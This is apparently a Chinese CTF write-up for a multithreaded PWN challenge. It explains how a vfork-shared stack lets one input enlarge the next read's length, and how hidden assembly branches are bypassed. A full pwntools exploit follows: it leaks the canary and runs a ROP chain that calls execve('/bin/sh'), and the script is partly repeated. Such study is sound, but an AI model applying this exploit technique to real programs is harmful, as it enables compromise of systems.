网鼎杯玄武组——PWN2
玄武组的是一道多线程PWN题,对我来说主要的难点就在于逆向汇编和线程调试了,当天起来感觉非常累还有点头疼????,汇编里的漏洞大部分都没有发现,简直逆不了一点。后面复现了这道题,还是能学到挺多东西的,所以还是记录一下吧。
题目给的附件一开始就没有符号表,那找main函数就只能从start函数中找了,这里已经重新命名函数了。
sub_4017B5函数是正常的初始话,我们不用管它,先直接看tip2函数。Creat_process中其实就是调用sys_vfork()函数创建一个子进程。
这里需要注意的是创建了子进程之后程序是先跑子进程的,子进程结束之后再跑父进程。在子进程中sys_vfork()函数返回的是0,父进程是进程号。所以if ( fork_ret )里的代码是父进程跑的,因此子进程略过tip2剩下的内容直接跑main_main了
给了gift(地址),然后就让你往V4输入0x40个字节(溢出不了),最后进入exit_ma(0);
__halt使程序进入休眠状态,到这里子进程就结束了。
子进程结束之后,主进程也和子进程一样从tip2中创建子进程的函数跳转出来,只不过主进程返回的是进程号
因此fork_ret不为零,所以主进程就执行这个if分支的内容。
就一循环:先创建子进程然后再往v1输入0x100个数据,虽然sub_401A55中有exit_ma(0)函数,但是由于是创建子进程且子进程和主进程是共享内存空间的,所以我们是可以输入两次数据的。
我们通过汇编可以发现,输入的长度是放在[rbp-0x118]的位置,而我们输入的变量v1起始是在[rbp-110h]即在输入长度前面的。那也就是说,我们第一次输入可以修改第二次输入的长度,这里就存在一个栈溢出了。
即使我们第二次输入利用栈溢出构造出了rop,正常来讲最终还是会执行sub_401A55函数,跳转不到返回地址,这个时候看反编译已经没有用了,我们在汇编代码中找到了一个没有被反编译的分支,即只要让[rbp+var_11C]等于0x11111111就可以跳出循环跳转到返回地址了。
同样,看反汇编已经没有用了,我们在tip2中的汇编中可以看到,只要让[rbp+var_28]等于1就可以绕过exit_ma(0)分支了ret到后门函数了。虽然一开始不知道会ret到哪里去,但是既然有这个分支了我们就应该动调一下也许就是洞了。
记录一下用到的调试命令
最近看的几道题反编译都是和汇编有些出入的,所有毫无头绪的时候还是要认真看看汇编代码的,大概总结了两点吧。
from
pwn
import
*
io
=
process(
"./pwn"
)
context.log_level
=
"debug"
elf
=
ELF(
"./pwn"
)
cmd
=
(
"thread 2\n"
"b *0x44EE5C\n"
"c\n"
)
io.recvuntil(
"gift: "
)
canary
=
int
(io.recv(
18
),
16
)
print
(
"addr========>"
,
hex
(canary))
payload
=
b
"A"
*
0x28
+
b
"\x01"
io.sendafter(
"leave your name"
,payload)
io.sendafter(
"Wanna return?"
,b
"1"
)
io.sendafter(
"once again?"
,b
"A"
*
0x100
)
rax
=
0x0000000000450277
rdi
=
0x000000000040213f
rsi
=
0x000000000040a1ae
rdx_rbx
=
0x0000000000485feb
syscall
=
0x000000000041ac26
bss
=
elf.bss()
payload
=
b
"B"
*
0x60
+
p32(
0x11111111
)
+
p32(
0x11111111
)
+
p32(
0x11111111
)
payload
=
payload.ljust(
0x100
,b
"B"
)
payload
+
=
p64(canary)
+
p64(canary)
+
b
"A"
*
0x8
payload
+
=
p64(rax)
+
p64(
0x0
)
+
p64(rdi)
+
p64(
0x0
)
+
p64(rsi)
+
p64(bss)
+
p64(rdx_rbx)
+
p64(
0x100
)
*
2
+
p64(syscall)
payload
+
=
p64(rax)
+
p64(
0x3b
)
+
p64(rdi)
+
p64(bss)
+
p64(rsi)
+
p64(
0x0
)
+
p64(rdx_rbx)
+
p64(
0x0
)
*
2
+
p64(syscall)
io.sendafter(
"once again?"
,payload)
io.send(b
"/bin/sh"
)
io.interactive()
from
pwn
import
*
io
=
process(
"./pwn"
)
context.log_level
=
"debug"
elf
=
ELF(
"./pwn"
)
cmd
=
(
"thread 2\n"
"b *0x44EE5C\n"
"c\n"
)
io.recvuntil(
"gift: "
)
canary
=
int
(io.recv(
18
),
16
)
print
(
"addr========>"
,
hex
(canary))
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)